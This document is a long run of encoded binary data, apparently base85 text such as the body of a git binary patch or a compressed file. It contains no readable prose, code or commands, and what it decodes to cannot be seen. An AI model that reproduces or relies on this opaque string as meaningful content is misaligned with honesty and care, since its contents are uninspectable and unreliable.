zSs5A$4;T&9rCk4wm=GObX*%6B2cq%vueb7-Ps6Cy(wxSe4-}}MS9|12;0h{R=i~=~ z#`w=l!mvs(u&u+-nO^#{#irz~IIZZsVVUPe{GC_TUdzOr7sVEDp%SD9>#yJ-0==v+ z9_x$h=@dqc?|xf#+f@m}f9o@at-VjW+L+6mXt2_fl=8PyF5a7*pTPUPh0cH3D&E;k zgaNQxrFvLW7@Nux)PDGN_tS+tjtGvfNQyh-^1&lqaVy&V@<7q{I^y8{x5@YRe=ACO z`fgjrTh9n_jPwTOd1H4dz zMqF>^G_rRsbT9mAs@txoibe2BJIG#mYV z6Xo`%Ukb(*j^(B6SruCNXdR5}&F)?qCrd$Not(RzQh2ta3o58rg@coiFf<%2*oTC$ zz3le3vY7%4{ZrR$<(sGs2twf^iTG11rdzo(n|0!CX^cv9EkO*nQdS- zI$arrm$(Co%=RJjWV|dU?To~ji3+Ab&?a%#k`YFxEm^&X>*%2H*m4E(_OZ(9C8QW> z^H?ByX@9<|Q|1%M$E)WSj;-ET9aIZzx4NCyX_+#7SSLB%v@~T2@w474X_o8qtvZ8y zEc~UIPxF`{58N3=-2*?YoVS>oPfFC>Rx_&4FZTZmj%ylGGGTPyR|kPYNAt*8b16@? zGY`7c>-om&#+;U4V#c_F(6{P@>-X_UDyo$^0{@*Cbe(10h1|n~_EMf`+KK*MX}@_o ztY6xR9w^tpwk7jz_VeYrEZDBJjET41SLj7ODgl)YWGADD_>K=3vAmmWU249LZby9? zg+#@j%*V1Yl5?S>a0w^@zvp{%yIf13)Z@iAYr8lFJ}JH^{;10*ap3eIVqJ`Ot4EJ* zW%n$3O9kgo$xC>br|FgIhm>!Z)S#F{x8l2fA+u)>LS2GuVce?+cM&wWUwJ>}KE=*& z|J$&$DilIxdJ(^`92_sLn>P{WGNvpU)QwJ+O((Esr|P&4f2ZG-dwlW;@z(nX&acP1 zzuf!EP}{2=JJS-4W;+_iu8yLAVHY&oN3)B0`TuiJSu6MS>CjlRSTY{Rq2711iZJ1| zw#GO&084Wfqie*l{35SqGurDdHTfZ`ZEt8u%4`|3D@iHAMbP}b@4E_|+<#|uH1Bg1 zt{pKC^VU!AJTVTag)J*IfolA3aDa?`dnWF@=s+R$L2Hl5WmxpFO|7VLv{u%yTJWwM zDIMkd-PqRD^+XzHEPt1dEOElqG&5!r#34-q68z^GG#T?`B6#6;hM?!zr0Q--a|O#z zd;1mFxo>}_ptioZKz5J8ZEplG%@;N8E!(WOnw>gmy|ZsteUydfxW;Cu2` zs?^7+#mAHn=9w1gL#Jc^{=%~LZ(1gH(CO`l7H@2- z9We#6ivbUYpfI+g@+C~1R>m(PP}wVFQ4wJ8W*FtR0edo2!% zj)-@$++yFl(_oCny+$TTc~`w*=Lc^Ykk<=Eoy%0uV{ULIWH;~Z6IQ(n+Kl<+!W4Kr z9THMR%(CMe#TSgZ==s`)rO+aHfE{n6bQKpN`sBytbXT|b1XZ){`fxSoUUXid!1TEz zv%=qNFU2+3rK9C5bYY2PFn!lE7zci%!r@-$_H@$y5)eu4{Mn}@Fo3}8uqNKXgCuiA zyp{hhcBbznTOp*y*ZkJk=$Uk_#(0}~=&Dqov2RORSad1kV8yVRZE>1yvqHS{QjF+| zCX^HuOifLFZgQ7OePUqp+JHVVNaw~>#vZC>MdQ7nwc{CS(uVU57i&{}sihWj?;()q ziALkwvfD?vJ@3ER^SLS><>KaYb?eXYq?Lx>$DVF0!POHF&6yYRP*lgnW2d)Ppqu-i zoS^Y8>#rFeH80p4Z-lbq0O>7qq2VINzH&|kdE55sY?wqYt67Wx<4cg`u=nvi z%3s0p`yvjzSd%i`F;>M`T5ML0e5GVe*XTDpL;ajvZMTpcp(tEeD@cUM!NUt2)Vu60 z$TtA%5OBS74pPPco*qi#yW(g$$J@vO<^SlMFG`QFs3Lz^{j(Bs8V{TVUSM%5j}hm4Q%+i%F98;c4* zjFZvXPdqNpnJ?A1(9!K^8s&l8O*i3K3=3mA>cj);8&=ui#ulMw)}q6ghoz?py2Cb2 zl8ztiaqJE<9o6(psxS$C5@nCR+$xYu+j4>*nQ;lJ7-_e%F^5R4pFtOnX=$NK%Y$ld zXG!{fCpnc}+?3wEOV;PtYhSp%$`{WJ*br9-_;8$hMd-bX2YXLLLaU56|VD{tDMV$kyv#2oP1jzdvL=R|n!@aL8Sv^K?C8vn#qIWpobM15ezc zlSbty>@gIAsTbKPIn4KLm7ym=T^iK&(9%`?yB?C~&N+YK(WaFe_YQa<2c59u8IzIk z2Jc#ud%qX**RLyoa@R;1mCtW?;d|c?H1`$~e^RWrfJeEG7~kJ2`FlO5m;VAknxl`9 z>k4c;TPi$W^!|6riB~{#Y2$b0WqTEz>E~3wuUU80e(>am91+$m2;?-&4oB5ZSqbFX z@{0ff2K|-4BZ;o?B?<8lt$$L=I>E_uOTQ!^*pJQStx);xj1IP2C#txJ+mZXWpWV@a zo3Y8a+UMJSFG8pcjz}W*d`_YE=x+=gtBfqMP5r}dzh+bvrseBs_MrW4>>>Ial`XXh zJ&=y~hU-{pdm$ z#UBr!gg*QrsPDcKmyN5K!baI)%bOK(Ik7q>^ObAzB3mA@H{ zMS7-_T@HfCjyOA-Ii^ym5$md-voqKXE`XR$K4L(F0Eoi*d1JF5Vg>L1>D{bqcw^B9 zpU-@lsnJ+hew+^$uEn4+PkG<@?yTVf^fNJb69aRTOet>Vok_%xCxJ&gE} z8DQ~qK4FtPnp~0`ZZDo^>d$<0&Wwv#w&iqMHBf0!sG9jK9L*!w}UAK2Flem?&Iy(xPqTDuVyvSA&Y$8~~%1}>!b&lB)P3|HM zdbsM_8G1>suZ13zL@hWWB^6;<@J$tY;JAv`VcmR2#p&)Og`&rNxj}Bth|vK;&$;aB z4~~@qmyr;^JV$}2eF~F*6!pCvj$Rv=z@>e4Fn&%uh1k}rw6M3EL?KLkCuzy*=^{R% zQIGdPfoWmOp?DjQq%aU=a7|0FEPs;%eBbkUCXEcui@weDt}t&~hJ zKbe6z{3*$QkpMvWT|GGJ9eqr76P@_>{cVau22^1ZFL!+s6%IICAp?K#%MS(9dz(#? zjsB{n5sCRAgFZW5Ka-MQotu4Aq%FH9Zj6FCMET>hV5kRW(T*#^tUa3}n_@VRoY>$n zppbjYcKwgU*5!~%(Og?oGN&&zo+bhffQBEt8-~zvj)sz`yh2T>CKbVmr$Ex1it-hj z#FQ4R>oXN8&HimZ;F#e>pe*~UPiug8fve-`?|Q#ApJen3j@q5qpQU?)F9om(0bCsQ znqzSFI!^{87PRNnIOMmk3)ngNKR&rJko5TJQ$fsU-T=+}>fJO_hV7FIPV%UI-1V^3 z+eNw`dN|&E00C-fPSdhxXX`ayJJw^gFop zd_AYxg~Sw+j4p7L4Kf{*-^ILEdF4rBhk^oAEs0;Anc`m$%*ta1WB1K^=6EfKf0F1& zCyC1FsdXbP$!VGh<>Gh_wSn<*F)R+%eHv{zfsyI@KVMbc00f%z#yuDldi?W~&Vex%KaFj`zcPk)dtB#YFW`T6mR^;^q~45e~z*4CIch z2J7vyU+BWNHS49Ba#~{x-Ax$u#spZamGOce`8>?KmT>$CtfgGy`1k$1e#_}ov!`07 zVz^E9sb+<{>4E8c8gRdpa=+V`oW#Dq>=%x(>FmBmus9=ipGUpyc5~YhC6Vb}@}9rW z*b9g-ssH_E9B-$j;@E}Co)~~m;>sJb{PmL?Z$Z&a&_M-7-Z}Y?o_s^Q_L}qS7X!PTuQQlH9lCvoFt)%$R;frtAvr^~yoXx>PZD zy~B)aOzE8c80_^p&Ynn04$!pYoKKXcC_Wex!(4ooB$r_tj9mYWLgGsIs1JYFZGKU6 zXve^KD}JS69jplA(e?LiTy5#%LPhsU-GRO+BV9`qMJ_qJE8{3`cd_BeS$aujoWHe4 z^S$^uj+m$Kg}2ZN&Yw&FPJ763>3a3kgO|0Fd3Z#+M;|Jy2Dho-p4~*Q`PHB8{~4Ze zZnj2v0bc{nc~6qx#kGCBT?N;B+BY^&`*l>s@NXz<$)ZwfGLA?nzjL*~2jd^bsp9;d&d3wFVS z3p|hs5g3&y`O;9|)SiUXd@Z3>o_1Ju6!gEWI1jV;Bih*Mj#`98Hf94+s+$(244E@4~(@}Ebi^^w(ks+4E#u)2&Tu~nEj@UUm{s| zyQbdTtLfG?fd{s;+fv*l>i*1vyNSYG_?#=hpueF%pq{{}IQm+h&1(489i#4YB28(6 z@N?Rpe%5^GX#nCPk$Pb?pj~9$B@hc-DBhii9qhPN(DUV>N1i)Xf`Yk=g_IZ6Uq9nh zcIVN`rvDby^(WEYR2YMBGNZzF9A-GSpDRN-GqSLH6Y^ zwsZEgX125$`K;Y{znIXLdp=&Ov`pa%h^VtID3-8eC&j8-CwZx%05fm9pIKGXmni$< zO^%uY86KUIi2`_WQ#oU;;fjx~N~l$&JIPUeEDi9l^tEq%-=1(qD_z4IPZ7AIw0;qv z{G)lr;NMMEcSkF~uD@5#QkbCbkm{?2lu^{h4%{)gqDW*K2{%wt{M$l&cJPc*^3{(* zlA^%uI|BK^JgRBRdRKb}9p|j#V^o3w-b&?UWhlg)@zg8Z?lbCt<x6Q(2GLKWn zo1I^_ufSb6Taf{ZlGXF5x$tNa!vh6f3@X&d=jO8j_=1lqd8<^uJ4$;gwWB(&r{TtY zT{<6P6#j)-r;dLs?rdoc;9PjDCKl}59!r@HRj)YIwR8^m#$wb-ui;V&;dAh?*WPY- zZ!FPSSeRw2R*nnUks|M}5YMtj8U?sGy=%k1Y`Kg^@t_ZTJyX~2fJuF)W6RG)7POdV zX@o~#uC64AtxL)`yDzZL3&t;t*n0#2{wC*!KN_W<9)3-j-Z*SamYOL|s@-6UEwnw`k{+@ntfT{(NJyMbfVPe0d#V?BE-j&kojE>g6w>x*0SjOR?{w6DjqM$Us=IqWX*Wi#!qO4x3R zLRNjs#4A+6Lz{d$2R9XCCPkD2ZP!UC1`g*ncqc47ffk+~s&EbmADxGmuG7WfOGVH~ zkP^6*x1wT?=;Z2$8?Cx2GOB7I;{!(lE7!9TZXiQ_bE@P#Yjs@OINnD(dFN{W{T#|b zI^b8+J+E=xx0&y`Bbcq!r(3!j?xqZbYC%PX#agXm+*gX#9whtcL0-ykVVL7vydj&f zp@o0GuslPv9o}Td3lWM-q*s|qc7?x4`}XvKKuwB$zQJ+EO=(8JBL~bPyz`a%W#{CH ztSSD{lADi7GmTW0^*1FP57EH0LgV&gjb(0xHu(`p$S46Q(|lJ~V?sw3QOl-FXN{7Q zg47wUw6sFH+a`0@;@g!Iq|ujOJO5>4ir$fpkdzq?xm2?}UWb=mlzMN@$FQKY#$zHFGa|IFN>PGq`BFM!l>wU6|b=>eUz!YOA;%ZPaw_C}1QX%v-m{N)Jrp~u{9{e0YlbIvXa3P?7l#BD zBoh$KcGa)m?2a$=e_6vVc>k?)fK+LwhSzE`T6WvTy(-_Nmp$#UO^Ed5G^Xkj- zcdStX@5q&)VA}CRcyFFD(wt9*Si`U&EQ}*IQ>2#9Zhv+*qD(!6(2$Oip*V~`>U7(a z1oL3ji9N{WJmD8sUWA_P<>k=xsyfET`YkOn7y_ zAsTOVP68`!k%l~>MdWtJ51k%ExY4%c2*q2SX} zq6nz)9D8pT!}Fj@q+#i0YNl&_bDuK?%Cu)cEUvG3c!pmppzq|gE=_w^Te^+^b}5=W z6yq^Anu$2lX}r{`U-c@#t@WOeK6LP6zVj*o>M?P~hB zi#XAVN!^#l$!@oDg8quQP}ip4c(KX7G?;z~=#d1p=_GTXOK2M^e!-B+VyE#E-l%?*Q_Cq&CTy!8lP2VC5xp~0vRl%XmYCZdSkz?$8>zdF5g^? zrk+j4f){Y9c{~e%Gvg+1$8O!lqGp|cPhkqK4AvJD%+7(WIwSWsxewT9Gn=*i6vrwX zz0CHm{V7qxa|Ekk6-G&5=gq3q)9vXBH7Ge^0Fv#%T1AR;XF3GR~RD z(IaDCs#>)Dur5V|lWJ)vVwkCqeKmRApl|k*>#`@I?uazU>u*1VylBB|jBnlDTMNH; z)u-0S$>Xu4*+H2tnJS3(B{4JJvOfJ56d_5K%E2WOQV%5 zNm>{YlAnKmk}|2SIJfp928I1l25;2&0X1O4T2_VW;=DGm4HC}ASKwzao0q&1O^*s~ z@ZVV|d@@(LZE9cDsma>=kVbBhd0`9NT!GW*pUt%=0$=J_-t}zW_;vPqI#I|6NL(_c zj^=2zviTU+c!JotyF!WpTR+~SB247qV(fup&O}<+Kn1(ylle7MuSsT`WyY9anq9x^ zsMo;|DvjWM#lFntSTMJHWFN8U8i8%ZEg1MkL!e zb$PD6AClQ0pj8-4dqpVI)Ps*qMs~(u82mq3lAcr3iCR#C|0pn+)Ni zYVK>Hq|X6>{@{^}LNMqHku_JhW(V7>%ht`;<7I9!C>)}w$UfSZB6#Sg+zThb50pOOig%;DTw-Sy8V5Z}TROm|zeH@6IC1R!t` zjyy->UsJeaUZYET^|ezdDX|;~Gz`uvH9WB6bR_eS#7@*Iv(AX=vztC1LzVT*zz(kF zyTSQ>j4_A&G5dLS-$tL@*uHeSBjL3jVZHK8f(Ov zn67V1Xp|X7706VGw{BS?_f7JVyLC*VuVNC8(yOf9;q6Eotg8$267pJyf@RDr;b*^h z3obLN^Tt|IsihU`4<1+9Im}Zzo8#B;6YCDN`#ntKgoj9ePK+*nJu9B&j5J)X`bA;t zuqexT;G>%bS=zg3b6h)-{oEYL9>dMJdnyEF1{K2}Z(3rB=!titjmk2e`P)QeN~du5 zx3ULS5%c8g`1PH!$&Bdwaa&uCoCkIymN87+(S1V7i{p!vLA|swJ5HSS$!M~o4Ra?1 zQeOxNpEXtJf#`7!n|ZX{3p%^b3Qg63rH&R%Y^(C>U^0O=Q{=a-&K9B%Mq?5{0uA1} zxP(T&iGI=&(`jmQctP@up+_10y#H>h4$U?$g!3{&TZ z7PF_)PwudG01Ztx;>15@aZ2u>Oi*>VZQD<4GCFk|;T-^dU)9|POQv0m zV#!Z7lMGW$O0{P+ZFBK{olExY z2f z{dK6o*kPHA^5Z-osAvtBg5n5i%}V_|tmsu-GUno*=}Q19sBfu*2!N)j^IOgo|79TY z3(TG1eVrLTLpsfpwtQO=eh*}gMxUUSeYVehQA)#$=x5 z!U<SFKRZZ ziIh-oEJBaeTuP1bB$r7ZAV2AG*3SzcqmmjN)A?x5kb1U*63kLab3BP`b#5MWZl zsZI7?>U0wQ>;KKsIy&JXeJ&x&b)LY{%|r!dkq8?9<*6z zA(6C6@jN&iToDA%$_bPUGV>R!J{6&_`*#`;7ACW7LV!Io!@jeJ3|XR<@A=1l$(b@b zW}H0H;6g@k9-a33i?fH4{7)}`Ju?YRfFXn>>V9DKhIlFfT&j+iR};StzF8+=$v zMuIl8B4@hZCWoqBj$=-0A2$`;zSu{pgF9eJY}StRzYTzlSPT;*!Ut?)T912zDe;Lf zT>Y&oJ2!27l}n5S`ZT)iqp?ZOWDH1KP5@WG!RCmRuRFqYM039u8?8%C#nI{J8!-lk z(Klr)a~M@^*yzyptGI=<#$WSRC|(-cSG{~eTSORv(#-F) z>WaYcRCMZBeJxJ0Kp>nAK2x%ZTruHkSn~@KV7^83X)5HIVn&sHmAzoWbA2~-P~qO} zB?{SVsghwfjbY%npZ8Zd`|~U#o+oZbNCiy+Tw1Il#busdlzlEY4~r{EHgV9?YuZgI z_w6R(7g$1G1v~@vDX5mgZN4_)KM1 zHgi2@C7b3^o8#vTU!&X!ZW0a_L+FY^+wCXblH{SyH4dA+OPlamLf#`QfM|?51yD6J zowhX3j_mplwdiXNbmCx2HB3TN2VvR#Kfb~wbZ=462SOQwLC6eGwa1H1J-Z#<2Oj~# zm_OVtekaS!s`cx%*7g7M!i`JRsu=UY>$9N!Hzh5SlMnts;po=q$3I;%N^INbkX6lJ z+^6hcy2iKUzIU~2X`Ncs2|%Q#mgMj8Z3^%8rBn`Jf(r2$vuAAYA+%j-YpuyN=pb}_ zKZ{#gXnYd)%Yk8oL8tpcsY|VF%siPcYEzVX-Y-t&v}F7E0szJ5g16^zMKvK~!?{28|XZyVci!0<$nE%2XfRBVGQDDQ2o5V{+*Cc;|IPlY?D_vh!$m#IQCUdOY1# zi2EOWkKEwtK)-~nTDFke#-it0%}u<9^B7^#PKZE@(vIYx8NZbPg#dy%d3b$^3T|~J zUna$b$jVLz4HVdunNJp0e4xq8hn(b4WJ)enSUNy=y_oF9RElt#|JI8l$BCH2^)6T8 z;7!0iH%n2jH8x8kNz-)4ytAJg6POTT|1tyio<|*(>sYG>aWfbF0#|8{y^tin=tVk- zCl`0j9g-L4vRQU?bT+LxP|NoTNkP94l(5i2aXvP`Eoff`IFI{gx-IhylK=}BJ~pHR z4CH@+#%NyY`4Q~4q3jSg1E+#c^PDJNz8@RNGP}?<@fmhSRkB+Ot2%(1Ev~tSW3w>GN8%>}fOPSb zoS$5JHih;Y0^q+)zs(3ZyPP-1c|b4+wfcJb7b-a*YhkJ2(J>AQ@kDW}`LxXlXP z;pMSh$E@dlFXrpD-q?lD8+^kTU>|ek7~yst;KHFaoz3IuOUE~G84sZWZzMYks%ie< z+p5%>;JR?=xvaaov#UoQ9yNpB0015zNB*qHMFBaBo<}19@$|4|ypC-5tCS%=%Y5o^ z)3n^c}3sY&0p3m?s>PbbgyOTCDrCde$z>D>O9%_oyh%5Qoa%}1#+nwmQIkv( zYdTjxLW1$1fhJ2+pB)VBnenG_`bZ6{41DX`4CKUmXa3}&I?cDWmrF99Lg+Kxi1Xgl z^Zh zTe7H3)O2p5368Yg+xq(1vu5E4{W8|8n!*9YJVr^wo3|;g(Q#giQ~~n~zT&i1ba4UrIY}2Z8+4f#vaBdaz892h0 zqS#RfRm)DkQ-?hCT<#p`Mt$|s{Iy|8j#b)GQ~4_Z5ELM;M3_3XpurTbowlE&bt1vK z_^6)LWWE$<*`8{-2c+wfNj&2-HJyBIP&07FiqxUp91Vl%iT zn;T9V-OINtV_R2}e+DHS;OCZ{aym%rM#tmPdoGb!BU@Qun`|d7SbCJMNe83@Nuz=x zd^z>Reg)z>A(cBrNg!y1J4{wFv$$Em^I~s4=(hn1t=t_bwoH#(w_uk7G6F&LP!pEr zL;1c*<3&u<7;clF5hhRx@DQ1G466Hw>$F`-o(4z|iyw@H<#4p5o5XNiceFQK?uN!I zBgKzPFocLSZBETfHTM~jBE8Etc#kw&1nh#ClZv(v-V8_ENX5~zMjqGy5w{{ zosJ2@>?tlHVO>0v=$gmeZ}h4r+Q;xTyuZ1=En+d3n z;bvVrH6OXd(a_-OYB87yW`<-nDI5)6j=l!Za&;C4^K5RA5EFS7-p)(8XxHqftia~E z18o)dfw$zSekhT#)zxULVox64Odfe&}z_nNnH4ShZM4EMXKT+%}U@ zJ+t37u|_VH44!_mT*N-Y<%l`}xQv)bSvRxBt9^jzi8x1EbVKS&#B?$m$bf#G2M3xe zdBQRnLFt51Ts4|Eo!{rNL!3y%hpz0|5|j`MKdj&O-Ixjgw!sBRtx$x`gwyvFc2B38 zQmDWg$$Ll@K)S=5LTK?S@VJ7)xx)|lyA+Y6o1MoYOnAK#Tp)A}TskOP{GZ1z@%YC{ zAOvfu)#tMdKFSBwH2#gI??E?j7`S`6LmNr7%sq59^8UjeF1-yoWe(|X_25QxA9K{F z>{W17xL1~sEf7sT`O3M?8l~waqb|iFz|rT*{!aRjTn>GJMU`d{X6Dat9)`_t&CUEu z|HTkxcLM?f2`SgB*H=s1zR#l>&M4_qlU17q7ox|XC7k{>0QR6OW~{}Mom1;Z0zu!& z`IS0#&R9cyQ?XJRiyh(WDBLvH)Q)rK$NXuM&dBQ(2!r=OPY{E(0dT6CSE!#h0zV2( z^51Dzp%S=kPkM$~O5SA%0#EIZpX_Eis3Xg^B?oL-iA?f;D}B7 zI3lTGXk zA_u%$@Wo?ff82@vRxT&E zuoH|Ye=93*>l1&5%H#V6iveqg0r)tYFbgPO?HLCY9jnOkJ4dGvb_XZNd&p|@3vviy z9F&kSGclE3h&wXpCXQ|q5wPaJc76PI;y#>SzllMy&cUAY--n<|FYj$%E3d{i-(26^ z3?)3`4lHOgjXFRpU!XK4COxjujn|P{rRN-${8~3hmZgY@Thhp34D$KRhZ8U*SXnV| zaKYMFrcBN-#!x_Zy246YBw1kRa+Rsu=D8*eUJ^OnF?+hjB9{y`rnVOPV zrfIc`;C<^nTT04Jq-^=i_g=daVJ9q{17?(Io6XeL#MP>tvm;~402fajG5+}7DEp#t zT6egXFKuX0G1cu>=S6kyJ5<*PZuZVXgn&&aeLx1{1 z1>!ZzeN#(G0VcjiV?^;#C9pxw+-I^p8g=G5KO@Os9%4D7&01kI<#TqjDn%O6$)Wgd z`LIvRdbVqt1J@q0Q$I3s+oa|GK@DanX|KAshWD{4yps3-WCO5r6_wu}XT=SFZ<=2- z8x9pR`Y03&_Il;nMKN4iBmbjz?g+*=oWaiQEAYY3W-_f1fHk5#cKOTU9mlkX7N1K` zb9*t7eS`L!U*wtO6cxV0OuS%5-j%gEqBKCnl2&{DbZ_J{%M=H=C(K)n8I5_gGS;&w zJ3c|D5t2!@e+a~`sP0wbC#Rq&CvGk5w@vBYmC#mIdS((czMaEB&dsJKoMbUucB(;{ zP~r2lplSYu$MPdqY+Q|9(P8Ez4;OZz`Cq3e?OU3EfQ0qNSj$E z7akyN;wj^2>+rpklQp=vt*ofSU`LoJ3Gn69wrrbU0IfZnGg8lHE^LME;Ez=-|F5N= zYI6QMfY7bt;wW>hIT?;G$8~soe!(`kG{PFW zBR}AyX2xN8;PlQj=DH;*rmJls{jIp?Y+61nzo<2TbzgX6#7*-ythYU6}0i9Yi5}RVnMB(%Zk*yR;Of zxw|)W==K#h%l)yP+zlHc{fYs>u&#b3#=B)vbHbXirL$-4akz2}v8_KdGlUinRM4iD z+4e7F4F^dET4Z;_nzS74S%^q16UG<)t(O!etG>ESj$Su2Gke0lh9%o5>8SA18CrcWP5rRV_O@FYIywL%mYd8jHX)Jt$yNuHJc^oqu<;mBqRa9Upzu%Lf5|{o%|PM{v&C@DVM;|< zdJ>;(MXH+ausj$A=O(Ue#*iwahPk;9l}fzU4*Dja;iHKT5Kb8%)Cx_Ma9elAQ!h*A zJBp10NF;sjd9E(|9e@sy$mbU2Z}JS2_D&O&Az70k127i>*dE{2zYgORS)%GLmjW*9 zs_~5B7V!1L<9g%awaNhCE#qdLX1M%dOZ?|akI!uZfG|tR zRDcA&G`w(%D?UZIQ>$^`YInG;B~2lfMV*V6Hw4&+&ngd)u*8B|T8WTp$`mm)HMFzQ z2(z~(AB>7t@x7QN=F={%w&17PJR!xx0zhlnKQf>spkbqXJ}>CqrOUWoEJCe4IA4C; zzQO=OpS>{Q#}0C5E`nwp<(Ybhj(LrX@^7U8N{O@g_aYAT_4oC2@;_=|+D_qi*yYiz z`v`~%Pl?k%$9D{HFVLt?$HKxYl8S0qdBJD_C@Kncj+7D4i7-~3(ZER_mwZQ&R<)`a5d z0CyW6Dx!;V+4i3A{MsqWspUoe4O)iwqqtD#_1j%=9 zb0#st&yhjcHCP_^qT`9(yeT6+!kULAI2{Lbe|n>iJUmiWrT`WNe_X}+vh@`f?&?#Hti0O6x6 z-}k32^CxcVibVpv$I-^C@;}&`tm|syVQlU~QA$?fdKVZQWlE!*b|X0qa{}*)@;-aB z#}@-=WD776IxD}~S*MbI&zg8MGlgU;(MOiGOzCR=DCuc|X;>78)a!ekX4bP+$nw$b zvnmeTQCfMzXSnwxM*tG_uK#ps2%}!gb+F_hd!^s!j@oT(<>NL2{vMX)hZ<|`W3#oi z7_U39H6FZJ+f(<}43p^+uFHYHIommHg!Vo{?cn$p4z@ zsH|#f8Fu2Ia+%-tz~3a#r_kKX-OhOVr;15j@Z5$Uxil{rwk7mTLi1OOGA`F0T!N z1Lx~V!s%PbYl82ZsntD`TZQfJdEpzRw$RB~^cnIm!)KSg8EoQ)GlueI?Ca{UrFP-L z-lNh$5cG_)m|qGANiuy;BF zwToI;UxV!b^{y3d-HnT8MhAEQ{os7K3-jm25wqq0{j(Kz`qkT9XsAO-jX)j$UmyAZ z=A>OKbW-^R5UDzY4<&zoUq~1$JyT23L=YFrsro^Pi9@#VkR^Yoys|q4IUr4|5s~g85MQ+?eRe#0SPH-36buuVMGy;?vO?h zL15^TaHJ#@5E!~!Y7mg_knR|oVF-s|Na>onJpWhsu65tsweER!-ksk%wLfQn_it|o z`j-}(q8R4w7&SoWwt793(S#Vl_Gf*1A6*LdLWj^-dg`Z{h(gRh_5rcwx zCresGOG0IJWL?U{E?$4(s;y-z5>2U>sU*;f4liylR^%lHn7=TwXcEE3nhC%vcvH;# zxvA>^n%X-SuH=~XR6V#`c*(l-ddbo7o+rLCn}a_Iq&CPRmXRt3sZlyZJauxkW6$88 zC_Rhc{GQd{`5zGvU-cCyzwg<-{w!WqUiIridv+8WVEn6YtTe+cvZnQgsIhVWMEQKv zXKsJ{o_fVs6Cn7OCW9KIYYp!>O`#G0I0$}-D$AWXl6d^ESrI8?`@zWtHYcY3h@&_V z`5pK;mXb_ZY2~g*H9nxe|5U3SPCGBi2mmNo>SlrDY`pE3%D@!ayXnNibv|aL+4lhy z(+S;$Mm1s6M{1l^27sROkL*##r)Hn;_HajKF<7t!v?>8`AOWB5K$kYOgaRhLMu3bd zc=uFYUM3pOF@047RP?>GXSbksX&}n}R+hWqtlvo0q+X@^LEMpQb<7eHt!OZlDxH2Z z^jxIDi>BADbAuMIHP6e|EXhzjRl}S;aLf7K2sNG#ls)Up%EAZ&Kyw z^KVnf*>Fb9oy`+nV>U7hyO;nH4O6N(-GTR>N>!V0@}GnZ9Pt@-)!Oj!SFU^Bt;X=r zAXIW4tUF*d{w23iz`|_dsRyOUU8s^c;Z3s&lyY78nf|-V#*{jy;8PVDfT(=!9pX}$;j5#UQfZwL zy{BzZ)NI4!B*w%fdptm)7h8Hd2th_{Z}q$@%P|eS zm2^PB`#4(mYen;6jeo7(lN4J+Q_J@?rD5GabW07sYudh+Q6yTKfZ3Q%8~BxR^NBw9 ziY@zlSw*2-ApSExp57C*Q<-B?3UdndQFta zw8%KtkepwDt*HDlA>%vrCfP0u2^F}@WK2Vx3W^|mZl}uiSX$gCb4!MO_^yD)ppgJjOAZJ#WJK+L(x3+bPR5QHV-K2Ozt;G@Zo5 z$2Y?>)sAgwMV>5+N$kn3W|Ry4O7|NCu1Y>u$+ECmL_ly{EaV@EA|b=?PrpmKl@AtKt>s zO-49Q%TZ!OnIo6-=*5_F>swuwb$anIisr8Pmh7A5k%Fg?<8D*qJ0jL;pKtdh8Cz=( zxjQFr49ArXklU^_Lcc7x|86o}1Yh5U>QMN{y*(W(jscGv`Y@-E#hf+dY%_ip5<62i zJT|jxt+M3A2hixZXWLfo12-(-8gogaa2FG+M;Oo)%50B~P4hCDY-=H}prmc?Q}M(4 ze{Hk{W!V%c=VrL-7TfQWad%?#V`YhF8SS7h~e<&0Q*W8%@FFPe~r3P9RK2V)cB|8OP95{^YxbC zg%(jN!>%t&&yH#A5&8fG*tXw$(0K? zVfI0UIX7djeRLN5nE4Ydp|nF(h_Uubu7A8SRc0C9^lUYguQcaxyFui4VBIC`C~#)#Q>WG zmX{Cz1+hE~VRe<6)vm%-o4zP9AP@<^W^MHKe4_oiPtGc6)a(=Pw#62ER$cwotXrT; zoY6$t&I*F^udNCaY3w}}kO`eR(niQqCNw3qK@MLtH5f269t;cpU0q)Lin}_civpkb z#DQ}HuUOADGl8y^PEEEgr5IEk?w2%PZ{v||T#$qI@gPczJF=*#QsUx|Z%0t)Q+!)+ z8w%FkO#CSyvXj)0+ozduy&0iHu-;y72$R|)P5*;~ztmb+KB$n!5!wNCW>>F|2UIJezS_8-zSiux%K-b>DXsT5z^BLdE#{^P8l z-uDa)>SsGi&ZJW)Hcp)fZN~43t7@fsyh>UQP*86Y zp|n%yzwrA@Z6Q~~!ntFH)-r{wn0y3^TvD z=$g!8U2NKqsZOLM20Ra@5Tm{f6X;+ZzH_Xu_qMajAHl;bgT8m$TV743rF<44uJb(R zZg(3NtlLvK7_2yD>0>be_lT-wq#OhY^tL-_(|Pfcfs20Mo6m zY5f$H*6p+&X7rAQG@UyDkme>*z%Sh33FurX8zx1&iFjW!Pb9GEBpH=w(p`HjW2l`C ziwN!kl;%#b<2TqgFc)BLNa1ihN1S@0-&zQk8Z}~$#y1+uiS&L z^=gU3Eq|*mm@B?Pf{P!N8}b{laZV|^EU4EA^ytWS{P;Ld5o!l0Y26E-%YCa1U^IRjS9>SO*Gx#|Lzql`)o+%rcC3cB-%e zkMHUe{otGZU7~!$OPni`WVARx(K~W29P@+p)$fO)(E~Q!;_I=h0Km6JquDnfj0b3zCYSL6c#fOv(F zrSY<=fk`q1XNHi!2y_c>INZ|IRxrx=blHiriW9KU5Bb=WY!x_E3N#~Al!?4uV?Beo zdX%P%_91SkRtYWoKV6&nlHLVkcw=xIB)?Y_7IAcY3?j+6V`FI-eVqq@&uZx2yxTpT zJ%p|K`TKGyu+T3*ZcCQFAIc6fDynf#!S>XaQ=rq}uG5oCN z$!+hEj>q6oYBcNou8vmRvsoHaDsLyVy}b;K%@Hg#zKA;J$?+F)k@T1tBh7bzfA~sm zKOnj-A$SIYocH-)T8Y!Mx%bhKt zl9}fDUN0E4G@(QPT&TakX>hT0W@Th;?Wpe-zi0{_j&=m7#GM6QE`^H6@#=yb!MCXB zf}SY5Q%4HL`C0^{GGv@^s3H+xK~CKFu~L{V&T}{FMX+v}S-n&c_9YN2Rfqc;kx1tP zt6pn=zctV`nC;|KdhZU;zQCQK491pLMj76qYtwTiQJdQUYdOsQ$9m$%HFv_1^B5{U z5G+wpYZm=T9hN-*75vKP@KirL3i@56FVho*muFGL_{4^5k!#>iO8T?u-?O)#t`rMDVQ=?}uUerEol}|F$JwLq>(-`Zx>Ph>NT?yVA10y2r>V8s# 